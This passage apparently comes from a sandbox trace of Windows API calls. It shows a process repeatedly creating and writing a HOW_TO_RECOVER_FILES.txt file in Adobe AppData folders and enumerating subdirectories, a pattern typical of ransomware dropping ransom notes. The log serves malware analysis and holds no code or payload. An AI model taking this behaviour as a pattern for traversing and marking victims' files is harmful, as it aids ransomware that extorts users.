"c:\\users\\fd1hvy\\appdata\\locallow\\adobe\\acrobat\\dc\\search\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7c8 [0180.701] GetFileType (hFile=0x7c8) returned 0x1 [0180.701] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eba70) returned 1 [0180.701] GetFileType (hFile=0x7c8) returned 0x1 [0180.702] WriteFile (in: hFile=0x7c8, lpBuffer=0x34d0ad0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ebbc8, lpOverlapped=0x0 | out: lpBuffer=0x34d0ad0*, lpNumberOfBytesWritten=0x204ebbc8*=0x5d0, lpOverlapped=0x0) returned 1 [0180.703] CloseHandle (hObject=0x7c8) returned 1 [0180.703] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Acrobat\\DC\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204ec010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Acrobat\\DC\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x4a [0180.703] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec530) returned 1 [0180.703] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Acrobat\\DC\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\adobe\\acrobat\\dc\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7c8 [0180.704] GetFileType (hFile=0x7c8) returned 0x1 [0180.704] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec4a0) returned 1 [0180.704] GetFileType (hFile=0x7c8) returned 0x1 [0180.705] WriteFile (in: hFile=0x7c8, lpBuffer=0x34d4348*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ec5f8, lpOverlapped=0x0 | out: lpBuffer=0x34d4348*, lpNumberOfBytesWritten=0x204ec5f8*=0x5d0, lpOverlapped=0x0) returned 1 [0180.706] CloseHandle (hObject=0x7c8) returned 1 [0180.706] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Acrobat\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204eca40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Acrobat\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x47 [0180.706] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecf60) returned 1 [0180.706] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Acrobat\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\adobe\\acrobat\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7c8 [0180.707] GetFileType (hFile=0x7c8) returned 0x1 [0180.707] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eced0) returned 1 [0180.707] GetFileType (hFile=0x7c8) returned 0x1 [0180.707] WriteFile (in: hFile=0x7c8, lpBuffer=0x34d7bb0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ed028, lpOverlapped=0x0 | out: lpBuffer=0x34d7bb0*, lpNumberOfBytesWritten=0x204ed028*=0x5d0, lpOverlapped=0x0) returned 1 [0180.708] CloseHandle (hObject=0x7c8) returned 1 [0180.708] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecff0) returned 1 [0180.708] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics", nBufferLength=0x105, lpBuffer=0x204eca90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics", lpFilePart=0x0) returned 0x32 [0180.708] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\*", lpFindFileData=0x204ecd10 | out: lpFindFileData=0x204ecd10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7157dbce, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x523a5f8d, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x523a5f8d, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0180.709] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7157dbce, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x523a5f8d, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x523a5f8d, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0180.709] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x523a5f8d, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x523a5f8d, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x523a5f8d, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UserDictionaries", cAlternateFileName="USERDI~1")) returned 1 [0180.709] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x523a5f8d, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x523a5f8d, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x523a5f8d, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UserDictionaries", cAlternateFileName="USERDI~1")) returned 0 [0180.709] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0180.709] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecf30) returned 1 [0180.709] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecef0) returned 1 [0180.709] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecff0) returned 1 [0180.709] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics", nBufferLength=0x105, lpBuffer=0x204eca90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics", lpFilePart=0x0) returned 0x32 [0180.709] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\*", lpFindFileData=0x204ecd10 | out: lpFindFileData=0x204ecd10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7157dbce, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x523a5f8d, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x523a5f8d, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0180.710] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7157dbce, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x523a5f8d, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x523a5f8d, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0180.710] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x523a5f8d, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x523a5f8d, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x523a5f8d, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UserDictionaries", cAlternateFileName="USERDI~1")) returned 1 [0180.710] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0180.710] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0180.710] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecf30) returned 1 [0180.710] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecef0) returned 1 [0180.710] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec5c0) returned 1 [0180.710] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries", nBufferLength=0x105, lpBuffer=0x204ec060, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries", lpFilePart=0x0) returned 0x43 [0180.711] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\*", lpFindFileData=0x204ec2e0 | out: lpFindFileData=0x204ec2e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x523a5f8d, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x523a5f8d, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x523a5f8d, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0180.711] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x523a5f8d, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x523a5f8d, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x523a5f8d, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0180.712] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x523a5f8d, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5e98cd3b, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5e98cd3b, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe Custom Dictionary", cAlternateFileName="ADOBEC~1")) returned 1 [0180.712] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x523a5f8d, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5e98cd3b, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5e98cd3b, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe Custom Dictionary", cAlternateFileName="ADOBEC~1")) returned 0 [0180.712] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0180.712] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec500) returned 1 [0180.712] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec4c0) returned 1 [0180.712] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec5c0) returned 1 [0180.712] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries", nBufferLength=0x105, lpBuffer=0x204ec060, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries", lpFilePart=0x0) returned 0x43 [0180.712] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\*", lpFindFileData=0x204ec2e0 | out: lpFindFileData=0x204ec2e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x523a5f8d, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x523a5f8d, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x523a5f8d, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0180.712] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x523a5f8d, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x523a5f8d, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x523a5f8d, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0180.713] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x523a5f8d, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5e98cd3b, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5e98cd3b, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe Custom Dictionary", cAlternateFileName="ADOBEC~1")) returned 1 [0180.713] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0180.713] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0180.713] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec500) returned 1 [0180.713] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec4c0) returned 1 [0180.713] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ebb90) returned 1 [0180.713] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary", nBufferLength=0x105, lpBuffer=0x204eb630, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary", lpFilePart=0x0) returned 0x5b [0180.713] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\*", lpFindFileData=0x204eb8b0 | out: lpFindFileData=0x204eb8b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x523a5f8d, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5e98cd3b, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5ee23d84, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0180.717] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x523a5f8d, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5e98cd3b, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5ee23d84, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0180.717] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x525e22af, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x525e22af, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x525e22af, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="all", cAlternateFileName="")) returned 1 [0180.717] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x59d60336, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x59d60336, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x59d60336, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de_CH", cAlternateFileName="")) returned 1 [0180.717] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5a224c46, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5a224c46, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5a224c46, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de_DE", cAlternateFileName="")) returned 1 [0180.718] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5ad2ba77, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5ad2ba77, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5ad2ba77, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_CA", cAlternateFileName="")) returned 1 [0180.718] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5e074d37, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5e074d37, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5e074d37, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_GB", cAlternateFileName="")) returned 1 [0180.718] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5e98a62e, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5e98a62e, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5e98a62e, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_US", cAlternateFileName="")) returned 1 [0180.718] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5ee23d84, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5ee23d84, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5ee23d84, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl_NL", cAlternateFileName="")) returned 1 [0180.718] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5ee23d84, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5ee23d84, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5ee23d84, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl_NL", cAlternateFileName="")) returned 0 [0180.718] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0180.719] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ebad0) returned 1 [0180.719] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eba90) returned 1 [0180.719] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ebb90) returned 1 [0180.719] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary", nBufferLength=0x105, lpBuffer=0x204eb630, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary", lpFilePart=0x0) returned 0x5b [0180.719] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\*", lpFindFileData=0x204eb8b0 | out: lpFindFileData=0x204eb8b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x523a5f8d, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5e98cd3b, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5ee23d84, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0180.720] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x523a5f8d, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5e98cd3b, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5ee23d84, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0180.720] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x525e22af, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x525e22af, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x525e22af, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="all", cAlternateFileName="")) returned 1 [0180.720] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x59d60336, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x59d60336, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x59d60336, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de_CH", cAlternateFileName="")) returned 1 [0180.720] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5a224c46, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5a224c46, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5a224c46, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de_DE", cAlternateFileName="")) returned 1 [0180.720] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5ad2ba77, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5ad2ba77, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5ad2ba77, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_CA", cAlternateFileName="")) returned 1 [0180.721] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5e074d37, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5e074d37, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5e074d37, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_GB", cAlternateFileName="")) returned 1 [0180.721] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5e98a62e, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5e98a62e, ftLastAccessTime.dwHighDateTime=0x1d35e02, 